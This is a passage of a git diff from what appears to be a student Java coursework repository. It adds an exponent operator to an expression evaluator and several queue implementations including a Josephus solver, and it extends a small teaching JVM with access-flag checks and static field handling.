 .../main/java/jvm/classfile/ClassFile.java    |  24 +-
 .../main/java/jvm/classfile/ClassParser.java  |   7 +-
 .../constant/item/impl/FieldRefInfo.java      |   8 +
 .../constant/item/impl/FloatInfo.java         |   4 +
 .../constant/item/impl/IntegerInfo.java       |   4 +
 .../constant/item/impl/MethodRefInfo.java     |   8 +
 .../main/java/jvm/classfile/field/Field.java  |  19 +-
 .../java/jvm/classfile/method/Method.java     |  26 +-
 .../main/java/jvm/command/CommandParser.java  |  35 ---
 .../jvm/command/item/ByteCodeCommand.java     |   5 +-
 .../java/jvm/command/item/OneOperandCmd.java  |   4 +-
 .../java/jvm/command/item/impl/ALoad0Cmd.java |   9 +
 .../java/jvm/command/item/impl/ALoad1Cmd.java |   9 +
 .../java/jvm/command/item/impl/ALoad2Cmd.java |   9 +
 .../java/jvm/command/item/impl/ALoad3Cmd.java |   9 +
 .../jvm/command/item/impl/AStore0Cmd.java     |   9 +
 .../jvm/command/item/impl/AStore1Cmd.java     |   9 +
 .../jvm/command/item/impl/AStore2Cmd.java     |   9 +
 .../jvm/command/item/impl/AStore3Cmd.java     |   9 +
 .../java/jvm/command/item/impl/BiPushCmd.java |  11 +
 .../java/jvm/command/item/impl/DupCmd.java    |   9 +
 .../jvm/command/item/impl/GetFieldCmd.java    |  15 +-
 .../jvm/command/item/impl/GetStaticCmd.java   |  14 +
 .../java/jvm/command/item/impl/ILoad0Cmd.java |   9 +
 .../java/jvm/command/item/impl/ILoad1Cmd.java |   9 +
 .../java/jvm/command/item/impl/ILoad2Cmd.java |   9 +
 .../java/jvm/command/item/impl/ILoad3Cmd.java |   9 +
 .../command/item/impl/InvokeSpecialCmd.java   |  15 ++
 .../command/item/impl/InvokeVirtualCmd.java   |  15 ++
 .../java/jvm/command/item/impl/LdcCmd.java    |  14 +
 .../java/jvm/command/item/impl/NewCmd.java    |  14 +-
 .../jvm/command/item/impl/PutFieldCmd.java    |  14 +
 .../java/jvm/command/item/impl/ReturnCmd.java |   7 +
 .../main/java/jvm/engine/ExecutionResult.java |  50 ++++
 .../main/java/jvm/engine/ExecutorEngine.java  |  55 ++++
 .../code/src/main/java/jvm/engine/Heap.java   |  63 +++++
 .../src/main/java/jvm/engine/JavaObject.java  |  77 ++++++
 .../src/main/java/jvm/engine/MethodArea.java  |  63 +++++
 .../src/main/java/jvm/engine/MiniJVM.java     |  19 ++
 .../src/main/java/jvm/engine/StackFrame.java  | 103 ++++++++
 .../main/java/jvm/print/ClassFilePrinter.java |   5 +-
 .../src/main/java/jvm/util/ByteUtils.java     |  12 +
 .../src/main/java/jvm/util/TypeUtils.java     |  54 ++++
 .../algorithm/expression/PostfixExprTest.java |   6 +
 .../test/java/datastructure/QueueTest.java    |  35 +--
 .../895457260/code/src/test/java/jvm/E.java   |  34 +++
 .../code/src/test/java/jvm/LiteJvmTest.java   |  83 ------
 58 files changed, 1270 insertions(+), 361 deletions(-)
 create mode 100644 group01/895457260/code/src/main/java/algorithm/queue/CircleQueue.java
 create mode 100644 group01/895457260/code/src/main/java/algorithm/queue/Josephus.java
 create mode 100644 group01/895457260/code/src/main/java/algorithm/queue/JosephusTest.java
 create mode 100644 group01/895457260/code/src/main/java/algorithm/queue/Queue.java
 create mode 100644 group01/895457260/code/src/main/java/algorithm/queue/QueueWithTwoStacks.java
 delete mode 100644 group01/895457260/code/src/main/java/jvm/LiteJvm.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/ExecutionResult.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/ExecutorEngine.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/Heap.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/JavaObject.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/MethodArea.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/MiniJVM.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
 create mode 100644 group01/895457260/code/src/main/java/jvm/util/TypeUtils.java
 create mode 100644 group01/895457260/code/src/test/java/jvm/E.java
 delete mode 100644 group01/895457260/code/src/test/java/jvm/LiteJvmTest.java

diff --git a/group01/895457260/code/src/main/java/algorithm/expression/PostfixExpr.java b/group01/895457260/code/src/main/java/algorithm/expression/PostfixExpr.java
index 6614d0ec7d..3928b3ba08 100644
--- a/group01/895457260/code/src/main/java/algorithm/expression/PostfixExpr.java
+++ b/group01/895457260/code/src/main/java/algorithm/expression/PostfixExpr.java
@@ -10,7 +10,7 @@ public class PostfixExpr {
 	private String expr;
 	private String splitRegex;
 	private Stack stack = new Stack();
-	
+
 	public PostfixExpr(String expr) {
 		this.expr = expr;
 		this.splitRegex = " ";
diff --git a/group01/895457260/code/src/main/java/algorithm/expression/Token.java b/group01/895457260/code/src/main/java/algorithm/expression/Token.java
index cb95b43f66..6391216505 100644
--- a/group01/895457260/code/src/main/java/algorithm/expression/Token.java
+++ b/group01/895457260/code/src/main/java/algorithm/expression/Token.java
@@ -1,125 +1,133 @@
 package algorithm.expression;
 
 class Token {
-	public static final String OP_ADD = "+";
-	public static final String OP_SUB = "-";
-	public static final String OP_MUL = "*";
-	public static final String OP_DIV = "/";
-	public static final String OP_L_BRACKET = "(";
-	public static final String OP_R_BRACKET = ")";
-	public static final String OP_SCOPE = "#";
-
-	public static final int OPERATOR = 1;
-	public static final int NUMBER = 2;
-
-	public static final Token ADD = new Token(OPERATOR, OP_ADD);
-	public static final Token SUB = new Token(OPERATOR, OP_SUB);
-	public static final Token MUL = new Token(OPERATOR, OP_MUL);
-	public static final Token DIV = new Token(OPERATOR, OP_DIV);
-	public static final Token L_BRACKET = new Token(OPERATOR, OP_L_BRACKET);
-	public static final Token R_BRACKET = new Token(OPERATOR, OP_R_BRACKET);
-	public static final Token SCOPE = new Token(OPERATOR, OP_SCOPE);
-
-	//优先级表
-	private static int[][] priorities = {
-			//    +   -   *   /   (   )   #
-			{-1, -1, -1, -1,  1, -1,  1}, //  +
-			{-1, -1, -1, -1,  1, -1,  1}, //  -
-			{ 1,  1, -1, -1,  1, -1,  1}, //  *
-			{ 1,  1, -1, -1,  1, -1,  1}, //  /
-			{ 1,  1,  1,  1,  1, -1,  1}, //  (
-			{-1, -1, -1, -1, -1,  0,  1}, //  )
-			{-1, -1, -1, -1, -1, -1,  0}  //  #
-	};
-
-	String value;
-	int type;
-
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public float getFloatValue() {
-		return Float.valueOf(value);
-	}
-
-	public String toString(){
-		return value;
-	}
-
-	private static int indexOf(String op) {
-		switch (op) {
-			case OP_ADD:
-				return 0;
-			case OP_SUB:
-				return 1;
-			case OP_MUL:
-				return 2;
-			case OP_DIV:
-				return 3;
-			case OP_L_BRACKET:
-				return 4;
-			case OP_R_BRACKET:
-				return 5;
-			case OP_SCOPE:
-				return 6;
-		}
-		return 0;
-	}
-
-	public static int compare(Token op, Token peek) {
-		int opIndex = indexOf(op.toString());
-		int peekIndex = indexOf(peek.toString());
-		return priorities[opIndex][peekIndex];
-	}
-
-	public static Token calculate(Token num1, Token op, Token num2) {
-		float result = 0.0f;
-		float n1 = num1.getFloatValue();
-		float n2 = num2.getFloatValue();
-		switch (op.toString()) {
-			case "+":
-				result = n1 + n2;
+    public static final String OP_ADD = "+";
+    public static final String OP_SUB = "-";
+    public static final String OP_MUL = "*";
+    public static final String OP_DIV = "/";
+    public static final String OP_POWER= "^";
+    public static final String OP_L_BRACKET = "(";
+    public static final String OP_R_BRACKET = ")";
+    public static final String OP_SCOPE = "#";
+
+    public static final int OPERATOR = 1;
+    public static final int NUMBER = 2;
+
+    public static final Token ADD = new Token(OPERATOR, OP_ADD);
+    public static final Token SUB = new Token(OPERATOR, OP_SUB);
+    public static final Token MUL = new Token(OPERATOR, OP_MUL);
+    public static final Token DIV = new Token(OPERATOR, OP_DIV);
+    public static final Token POWER = new Token(OPERATOR, OP_DIV);
+    public static final Token L_BRACKET = new Token(OPERATOR, OP_L_BRACKET);
+    public static final Token R_BRACKET = new Token(OPERATOR, OP_R_BRACKET);
+    public static final Token SCOPE = new Token(OPERATOR, OP_SCOPE);
+
+    //优先级表
+    private static int[][] priorities = {
+            //+   -   *   /   ^   (   )   #
+            {-1, -1, -1, -1, -1,  1, -1,  1}, //  +
+            {-1, -1, -1, -1, -1,  1, -1,  1}, //  -
+            { 1,  1, -1, -1, -1,  1, -1,  1}, //  *
+            { 1,  1, -1, -1, -1,  1, -1,  1}, //  /
+            { 1,  1,  1,  1, -1,  1, -1,  1}, //  ^
+            { 1,  1,  1,  1,  1,  1, -1,  1}, //  (
+            {-1, -1, -1, -1, -1, -1,  0,  1}, //  )
+            {-1, -1, -1, -1, -1, -1, -1,  0}  //  #
+    };
+
+    String value;
+    int type;
+
+    public Token(int type, String value){
+        this.type = type;
+        this.value = value;
+    }
+
+    public boolean isNumber() {
+        return type == NUMBER;
+    }
+
+    public boolean isOperator() {
+        return type == OPERATOR;
+    }
+
+    public float getFloatValue() {
+        return Float.valueOf(value);
+    }
+
+    public String toString(){
+        return value;
+    }
+
+    private static int indexOf(String op) {
+        switch (op) {
+            case OP_ADD:
+                return 0;
+            case OP_SUB:
+                return 1;
+            case OP_MUL:
+                return 2;
+            case OP_DIV:
+                return 3;
+            case OP_POWER:
+                return 4;
+            case OP_L_BRACKET:
+                return 5;
+            case OP_R_BRACKET:
+                return 6;
+            case OP_SCOPE:
+                return 7;
+        }
+        return 0;
+    }
+
+    public static int compare(Token op, Token peek) {
+        int opIndex = indexOf(op.toString());
+        int peekIndex = indexOf(peek.toString());
+        return priorities[opIndex][peekIndex];
+    }
+
+    public static Token calculate(Token num1, Token op, Token num2) {
+        float result = 0.0f;
+        float n1 = num1.getFloatValue();
+        float n2 = num2.getFloatValue();
+        switch (op.toString()) {
+            case OP_ADD:
+                result = n1 + n2;
+                break;
+            case OP_SUB:
+                result = n1 - n2;
+                break;
+            case OP_MUL:
+                result = n1 * n2;
+                break;
+            case OP_DIV:
+                if (n2 == 0) {
+                    throw new RuntimeException("Divide by 0");
+                }
+                result = n1 / n2;
+                break;
+			case OP_POWER:
+				result = (float) Math.pow(n1, n2);
 				break;
-			case "-":
-				result = n1 - n2;
-				break;
-			case "*":
-				result = n1 * n2;
-				break;
-			case "/":
-				if (n2 == 0) {
-					throw new RuntimeException("Divide by 0");
-				}
-				result = n1 / n2;
-				break;
-		}
-		return new Token(NUMBER, result + "");
-	}
-
-	@Override
-	public boolean equals(Object o) {
-		if (this == o) return true;
-		if (o == null || getClass() != o.getClass()) return false;
-
-		Token token = (Token) o;
-
-		return type == token.type && (value != null ? value.equals(token.value) : token.value == null);
-	}
-
-	@Override
-	public int hashCode() {
-		int result = value != null ? value.hashCode() : 0;
-		result = 31 * result + type;
-		return result;
-	}
+        }
+        return new Token(NUMBER, result + "");
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
+
+        Token token = (Token) o;
+
+        return type == token.type && (value != null ? value.equals(token.value) : token.value == null);
+    }
+
+    @Override
+    public int hashCode() {
+        int result = value != null ? value.hashCode() : 0;
+        result = 31 * result + type;
+        return result;
+    }
 }
\ No newline at end of file
diff --git a/group01/895457260/code/src/main/java/algorithm/expression/TokenParser.java b/group01/895457260/code/src/main/java/algorithm/expression/TokenParser.java
index ca8619c94b..ec083b10f1 100644
--- a/group01/895457260/code/src/main/java/algorithm/expression/TokenParser.java
+++ b/group01/895457260/code/src/main/java/algorithm/expression/TokenParser.java
@@ -7,7 +7,7 @@
 public class TokenParser {
     public static final List<String> OPERATORS =
             Arrays.asList(Token.OP_ADD, Token.OP_SUB, Token.OP_MUL,
-                    Token.OP_DIV, Token.OP_L_BRACKET, Token.OP_R_BRACKET);
+                    Token.OP_DIV, Token.OP_POWER, Token.OP_L_BRACKET, Token.OP_R_BRACKET);
 
     public static List<Token> parse(String expression) {
         return parse(expression, null);
diff --git a/group01/895457260/code/src/main/java/algorithm/queue/CircleQueue.java b/group01/895457260/code/src/main/java/algorithm/queue/CircleQueue.java
new file mode 100644
index 0000000000..e44d187bc7
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/queue/CircleQueue.java
@@ -0,0 +1,75 @@
+package algorithm.queue;
+
+import datastructure.exception.EmptyQueueException;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue<E> {
+	private final static int DEFAULT_SIZE = 10;
+
+    //数组实现自增长的循环队列
+    private Object[] array = new Object[DEFAULT_SIZE];
+    private int head = 0;
+    private int rear = 0;
+
+    public CircleQueue() {}
+
+    public CircleQueue(int initCapacity) {
+        this.array = new Object[initCapacity];
+    }
+
+    public void enQueue(E o) {
+        int target = mapIndex(rear);
+        autoGrow();
+        array[target] = o;
+        rear++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+            throw new EmptyQueueException();
+        }
+        Object obj = array[mapIndex(head)];
+        head++;
+        @SuppressWarnings("unchecked") E e = (E) obj;
+        return e;
+    }
+
+    public boolean isEmpty() {
+        return head == rear;
+    }
+
+    public int size() {
+        return rear - head;
+    }
+
+    private int capacity() {
+        return array.length;
+    }
+
+    private void autoGrow() {
+        if (size() >= capacity()) {
+            Object[] newArray = new Object[nextCapacity()];
+            System.arraycopy(array, 0, newArray, 0, capacity());
+
+            int increase = nextCapacity() - capacity();
+            int moveCount = size() - mapIndex(rear);
+            System.arraycopy(newArray, mapIndex(head), newArray, mapIndex(head) + increase, moveCount);
+            array = newArray;
+            head += increase;
+            rear += increase;
+        }
+    }
+
+    private int nextCapacity() {
+        return capacity() * 2;
+    }
+
+    private int mapIndex(int index) {
+        return index % capacity();
+    }
+}
diff --git a/group01/895457260/code/src/main/java/algorithm/queue/Josephus.java b/group01/895457260/code/src/main/java/algorithm/queue/Josephus.java
new file mode 100644
index 0000000000..979823bcd0
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/queue/Josephus.java
@@ -0,0 +1,31 @@
+package algorithm.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ *
+ * @author liuxin
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m) {
+        CircleQueue<Integer> queue = new CircleQueue<>();
+        for (int i = 0; i < n; ++i) {
+            queue.enQueue(i);
+        }
+
+        List<Integer> result = new ArrayList<>();
+        while (!queue.isEmpty()) {
+            for (int i = 0; i < m - 1; ++i) {
+                queue.enQueue(queue.deQueue());
+            }
+            result.add(queue.deQueue());
+        }
+        return result;
+    }
+
+}
diff --git a/group01/895457260/code/src/main/java/algorithm/queue/JosephusTest.java b/group01/895457260/code/src/main/java/algorithm/queue/JosephusTest.java
new file mode 100644
index 0000000000..beec8cbee0
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/queue/JosephusTest.java
@@ -0,0 +1,27 @@
+package algorithm.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		
+	}
+
+}
diff --git a/group01/895457260/code/src/main/java/algorithm/queue/Queue.java b/group01/895457260/code/src/main/java/algorithm/queue/Queue.java
new file mode 100644
index 0000000000..6f1ed24bc0
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/queue/Queue.java
@@ -0,0 +1,61 @@
+package algorithm.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group01/895457260/code/src/main/java/algorithm/queue/QueueWithTwoStacks.java b/group01/895457260/code/src/main/java/algorithm/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..78a198f903
--- /dev/null
+++ b/group01/895457260/code/src/main/java/algorithm/queue/QueueWithTwoStacks.java
@@ -0,0 +1,52 @@
+package algorithm.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ *
+ * @param <E>
+ * @author liuxin
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<>();
+        stack2 = new Stack<>();
+    }
+
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+
+    public int size() {
+        return Math.max(stack1.size(), stack2.size());
+    }
+
+    public void enQueue(E item) {
+        int size = stack2.size();
+        while (!stack2.isEmpty()) {
+            stack1.push(stack2.pop());
+        }
+        stack2.push(item);
+        for (int i = 0; i < size; ++i) {
+            stack2.push(stack1.pop());
+        }
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        E e = stack2.pop();
+        int size = stack2.size();
+        for (int i = 0; i < size; ++i) {
+            stack2.push(stack1.pop());
+        }
+        stack1.pop();
+        for (int i = 0; i < size; ++i) {
+            stack1.push(stack2.pop());
+        }
+        return e;
+    }
+}
diff --git a/group01/895457260/code/src/main/java/datastructure/basic/Queue.java b/group01/895457260/code/src/main/java/datastructure/basic/Queue.java
index edd0a6a29e..247f2cf141 100644
--- a/group01/895457260/code/src/main/java/datastructure/basic/Queue.java
+++ b/group01/895457260/code/src/main/java/datastructure/basic/Queue.java
@@ -3,66 +3,24 @@
 import datastructure.exception.EmptyQueueException;
 
 public class Queue {
-	//数组实现自增长的循环队列
-	private Object[] array;
-	private int head = 0;
-	private int rear = 0;
-
-	public Queue() {
-	    this.array = new Object[10];
-    }
-
-	public Queue(int initCapacity) {
-	    this.array = new Object[initCapacity];
-    }
+	private LinkedList list = new LinkedList();
 
 	public void enQueue(Object o) {
-		int target = mapIndex(rear);
-		autoGrow();
-		array[target] = o;
-		rear++;
+		list.addLast(o);
 	}
-	
+
 	public Object deQueue() {
 	    if (isEmpty()) {
 	        throw new EmptyQueueException();
         }
-		Object obj = array[mapIndex(head)];
-		head++;
-		return obj;
+		return list.removeFirst();
 	}
 
     public boolean isEmpty() {
-		return head == rear;
-	}
-	
-	public int size() {
-		return rear - head;
-	}
-
-	private int capacity() {
-		return array.length;
+		return list.size() == 0;
 	}
 
-	private void autoGrow() {
-		if (size() >= capacity()) {
-			Object[] newArray = new Object[nextCapacity()];
-			System.arraycopy(array, 0, newArray, 0, capacity());
-
-			int increase = nextCapacity() - capacity();
-			int moveCount = size() - mapIndex(rear);
-			System.arraycopy(newArray, mapIndex(head), newArray, mapIndex(head) + increase, moveCount);
-			array = newArray;
-			head += increase;
-			rear += increase;
-		}
-	}
-
-	private int nextCapacity() {
-		return capacity() * 2;
-	}
-
-	private int mapIndex(int index) {
-		return index >= capacity() ? index % capacity() : index;
+	public int size() {
+		return list.size();
 	}
 }
diff --git a/group01/895457260/code/src/main/java/jvm/LiteJvm.java b/group01/895457260/code/src/main/java/jvm/LiteJvm.java
deleted file mode 100644
index d642654d5f..0000000000
--- a/group01/895457260/code/src/main/java/jvm/LiteJvm.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package jvm;
-
-import jvm.exception.MagicNumberException;
-import jvm.exception.ReadClassException;
-
-/**
- * Created by Haochen on 2017/3/26.
- * TODO:
- */
-public enum LiteJvm {
-    INSTANCE;
-
-    private ClassFileLoader classFileLoader = new ClassFileLoader();
-
-    public void launch(String className) throws MagicNumberException, ReadClassException {
-        byte[] bytes = getBytes(className);
-        if (!classFileLoader.checkMagicNumber(bytes)) {
-            throw new MagicNumberException();
-        }
-    }
-
-    private byte[] getBytes(String className) throws ReadClassException {
-        return classFileLoader.readBinaryCode(className);
-    }
-}
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/AccessFlag.java b/group01/895457260/code/src/main/java/jvm/classfile/AccessFlag.java
index 18c327fb0d..6b2e98201a 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/AccessFlag.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/AccessFlag.java
@@ -21,10 +21,19 @@ public void setFlagValue(int flag) {
         this.flagValue = flag;
     }
 
-    public boolean isPublicClass(){
+    public boolean isPublic(){
         return (this.flagValue & 0x0001) != 0;
     }
-    public boolean isFinalClass(){
+    public boolean isPrivate(){
+        return (this.flagValue & 0x0002) != 0;
+    }
+    public boolean isProtected(){
+        return (this.flagValue & 0x0004) != 0;
+    }
+    public boolean isStatic(){
+        return (this.flagValue & 0x0008) != 0;
+    }
+    public boolean isFinal(){
         return (this.flagValue & 0x0010) != 0;
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java b/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java
index 377b198035..24b369885d 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/ClassFile.java
@@ -4,9 +4,12 @@
 import jvm.classfile.constant.item.impl.ClassInfo;
 import jvm.classfile.field.Field;
 import jvm.classfile.method.Method;
+import jvm.engine.JavaObject;
 
 import java.util.ArrayList;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 
 /**
  * Created by Haochen on 2017/4/9.
@@ -23,6 +26,8 @@ public class ClassFile {
     List<Method> methods = new ArrayList<>();
     List<AttributeInfo> attributes = new ArrayList<>();
 
+    Map<Field, JavaObject> staticFieldValues = new HashMap<>();
+
 
     public AccessFlag getAccessFlag() {
         return accessFlag;
@@ -41,7 +46,7 @@ public List<AttributeInfo> getAttributes() {
     }
 
     public void print() {
-        if(this.accessFlag.isPublicClass()){
+        if(this.accessFlag.isPublic()){
             System.out.println("Access flag : public  ");
         }
         System.out.println("Class Name:"+ getClassName());
@@ -85,4 +90,21 @@ public Method getMethod(String methodName, String paramAndReturnType) {
     public Method getMainMethod() {
         return getMethod("main", "([Ljava/lang/String;)V");
     }
+
+    public Field getField(String name) {
+        return fields.stream()
+                .filter(f -> f.getName().equals(name))
+                .findFirst()
+                .orElse(null);
+    }
+
+    public JavaObject getStaticFieldValues(Field field) {
+        return staticFieldValues.get(field);
+    }
+
+    public void putStaticFieldValues(Field field, JavaObject object) {
+        if (staticFieldValues.containsKey(field)) {
+            staticFieldValues.put(field, object);
+        }
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java b/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java
index 398bbaa4f2..6e572bdd60 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/ClassParser.java
@@ -10,6 +10,7 @@
 import jvm.classfile.field.Field;
 import jvm.classfile.method.Method;
 import jvm.util.ByteCodeIterator;
+import jvm.util.TypeUtils;
 
 /**
  * Created by Haochen on 2017/4/9.
@@ -91,7 +92,11 @@ private static void parseInterfaces(ClassFile classFile, ByteCodeIterator iterat
     private static void parseFields(ClassFile classFile, ByteCodeIterator iterator) {
         int count = iterator.nextU2ToInt();
         for (int i = 0; i < count; ++i) {
-            classFile.fields.add(Field.parse(iterator, classFile.constantPool));
+            Field field = Field.parse(iterator, classFile.constantPool);
+            classFile.fields.add(field);
+            if (field.getAccessFlag().isStatic()) {
+                classFile.staticFieldValues.put(field, TypeUtils.getDefaultValue(field));
+            }
         }
     }
 
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FieldRefInfo.java b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FieldRefInfo.java
index 9bb866713b..5ede5965f0 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FieldRefInfo.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FieldRefInfo.java
@@ -49,4 +49,12 @@ public void linkReference(ConstantPool constantPool) {
         className = ((ClassInfo) constantPool.getConstantInfo(classIndex)).getClassName();
         nameAndType = ((NameAndTypeInfo) constantPool.getConstantInfo(nameAndTypeIndex)).getNameAndType();
     }
+
+    public String getClassName() {
+        return className;
+    }
+
+    public String getNameAndType() {
+        return nameAndType;
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FloatInfo.java b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FloatInfo.java
index a24ea332be..d4cc1763cc 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FloatInfo.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/FloatInfo.java
@@ -34,4 +34,8 @@ public Map<Integer, String> printableMap() {
     public byte[] getBytes() {
         return bytes;
     }
+
+    public float getValue() {
+        return ByteUtils.toFloat(bytes);
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java
index b929c36a97..1145bd3bb2 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/IntegerInfo.java
@@ -34,4 +34,8 @@ public Map<Integer, String> printableMap() {
     public byte[] getBytes() {
         return bytes;
     }
+
+    public int getValue() {
+        return ByteUtils.toInt(getBytes());
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java
index 9af83bca59..19b17af721 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/constant/item/impl/MethodRefInfo.java
@@ -49,4 +49,12 @@ public void linkReference(ConstantPool constantPool) {
         className = ((ClassInfo) constantPool.getConstantInfo(classIndex)).getClassName();
         nameAndType = ((NameAndTypeInfo) constantPool.getConstantInfo(nameAndTypeIndex)).getNameAndType();
     }
+
+    public String getClassName() {
+        return className;
+    }
+
+    public String getNameAndType() {
+        return nameAndType;
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/field/Field.java b/group01/895457260/code/src/main/java/jvm/classfile/field/Field.java
index dcf6975543..1505533cb5 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/field/Field.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/field/Field.java
@@ -1,5 +1,6 @@
 package jvm.classfile.field;
 
+import jvm.classfile.AccessFlag;
 import jvm.classfile.attribute.item.AttributeInfo;
 import jvm.classfile.attribute.parser.AttributeParser;
 import jvm.classfile.ConstantPool;
@@ -10,14 +11,14 @@
 import java.util.List;
 
 public class Field {
-	private int accessFlag;
+	private AccessFlag accessFlag;
 	private int nameIndex;
 	private int descriptorIndex;
 	private ConstantPool constantPool;
 	private List<AttributeInfo> attributes = new ArrayList<>();
 	
 	public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool constantPool) {
-		this.accessFlag = accessFlag;
+		this.accessFlag = new AccessFlag(accessFlag);
 		this.nameIndex = nameIndex;
 		this.descriptorIndex = descriptorIndex;
 		this.constantPool = constantPool;
@@ -38,12 +39,10 @@ public static Field parse(ByteCodeIterator iterator, ConstantPool constantPool)
 
 	@Override
 	public String toString() {
-		String name = ((UTF8Info) constantPool.getConstantInfo(nameIndex)).getValue();
-		String desc = ((UTF8Info) constantPool.getConstantInfo(descriptorIndex)).getValue();
-		return name + ":" + desc;
+		return getName() + ":" + getDescriptor();
 	}
 
-	public int getAccessFlag() {
+	public AccessFlag getAccessFlag() {
 		return accessFlag;
 	}
 
@@ -62,4 +61,12 @@ public ConstantPool getConstantPool() {
 	public List<AttributeInfo> getAttributes() {
 		return attributes;
 	}
+
+	public String getName() {
+		return ((UTF8Info) constantPool.getConstantInfo(nameIndex)).getValue();
+	}
+
+	public String getDescriptor() {
+		return ((UTF8Info) constantPool.getConstantInfo(descriptorIndex)).getValue();
+	}
 }
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java b/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
index 916a4aa32b..4928bcc324 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
@@ -1,5 +1,6 @@
 package jvm.classfile.method;
 
+import jvm.classfile.AccessFlag;
 import jvm.classfile.ClassFile;
 import jvm.classfile.attribute.item.AttributeInfo;
 import jvm.classfile.attribute.item.impl.CodeAttr;
@@ -9,12 +10,14 @@
 import jvm.command.CommandParser;
 import jvm.command.item.ByteCodeCommand;
